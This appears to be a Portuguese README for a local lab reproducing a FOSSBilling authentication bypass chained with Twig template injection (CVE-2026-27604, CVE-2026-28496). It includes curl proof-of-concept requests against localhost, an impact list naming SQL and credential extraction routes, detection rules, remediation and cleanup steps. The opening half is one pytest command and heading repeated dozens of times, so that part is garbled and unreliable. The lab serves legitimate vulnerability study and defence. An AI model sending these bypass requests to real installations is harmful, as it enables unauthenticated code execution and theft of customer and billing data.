### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
python3 -m pytest -s -v --junitxml=test-results.xml --cov=./ --cov-report=codereview tests/
### Execução de todos os testes com cobertura e relatório Code Review
``````text
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT
CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present
Target appears to be FOSSBilling >= 0.8.0
Caminho de convidado (deve ser negado):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Caminho do sistema (contorna autenticação):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
A resposta do caminho do sistema do alvo vulnerável:```json {"result":"49","error":null}
### Comparação corrigida```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Resposta corrigida esperada:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## Impact
A cadeia permite execução remota de código não autenticada contra o FOSSBilling, uma plataforma de faturamento e gestão de clientes que pode armazenar:
* Registros de clientes e dados pessoais
* Dados de faturamento e configuração de pagamento
* Credenciais de servidor e tokens de API
* Contas de administrador e sessões
O payload de laboratório demonstrado é inofensivo (`{{ 7*7 }}`). A cadeia de impacto no mundo real via `getDi()` e o contêiner DI inclui:
* Execução de SQL via PDO (extração de credenciais, exfiltração de dados)
* Acesso a mais de 40 serviços da aplicação
* Acesso ao gerenciador de extensões (execução de código)
* Modificação do estado da aplicação
* Comprometimento total do servidor quando encadeado com caminhos de escrita de arquivo ou execução de comandos
Um único HTTP POST não autenticado é suficiente para alcançar o contêiner DI. Este PoC não demonstra esse caminho.
## Detecção e Monitoramento
Padrões de requisição suspeitos:```text
POST /api/system/system/string_render
POST /api/system/* (any admin method via system role)
Indicadores de corpo de requisição:```text _tpl, {{, }}, getDi, system, string_render
Regras de deteção de alto sinal:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output
Ações de monitoramento recomendadas:
/api/system/_tpl em corpos JSON{{, }}, getDi)/api/system/ provenientes de IPs externosAtualizar o FOSSBilling para a versão 0.8.0 ou posterior.
Passos recomendados:
/api/system/* no reverse proxy ou WAF/api/system/Lições de engenharia de segurança:
docker compose ps -a
docker compose logs installer-vuln installer-patched
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
mkdir -p evidence python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt docker compose ps -a | tee evidence/docker-ps.txt docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
## Limpeza```bash
# Stop containers
docker compose down --remove-orphans
# Stop containers and remove volumes
docker compose down -v --remove-orphans
# Remove evidence files
rm -rf evidence/
Este laboratório destina-se apenas a pesquisa de segurança local e demonstração controlada.
Não execute o PoC contra sistemas que não lhe pertencem ou para os quais não tem autorização explícita de teste. Não utilize credenciais de produção reais, dados de clientes ou chaves de API neste laboratório.
O âmbito pretendido está limitado a:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
O laboratório não demonstra:
* Execução remota de comandos via getDi()
* Extração de credenciais via PDO
* Dump do banco de dados
* Instalação de extensões
* Upload de web shell
* Persistência ou movimento lateral
* Callbacks externos
* Ataques contra sistemas fora do laboratório
## Referências
* **CVE-2026-27604** — Bypass de Autenticação do FOSSBilling
https://www.cve.org/CVERecord?id=CVE-2026-27604
* **CVE-2026-28496** — SSTI do FOSSBilling
https://www.cve.org/CVERecord?id=CVE-2026-28496
* **GHSA-78x5-c8gw-8279** — Aviso de Bypass de Autenticação
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
* **GHSA-57mv-jm88-66jc** — Aviso de SSTI
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* **NVD — CVE-2026-27604**
https://nvd.nist.gov/vuln/detail/CVE-2026-27604
* **NVD — CVE-2026-28496**
https://nvd.nist.gov/vuln/detail/CVE-2026-28496
* **VulnCheck** — Bypass de Autenticação do FOSSBilling e Twig SSTI para RCE Não Autenticado
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* **Repositório GitHub do FOSSBilling**
https://github.com/FOSSBilling/FOSSBilling
* **Imagem Docker do FOSSBilling**
https://hub.docker.com/r/fossbilling/fossbilling
* **Documentação do Twig — Extensão Sandbox**
https://twig.symfony.com/doc/3.x/sandbox.html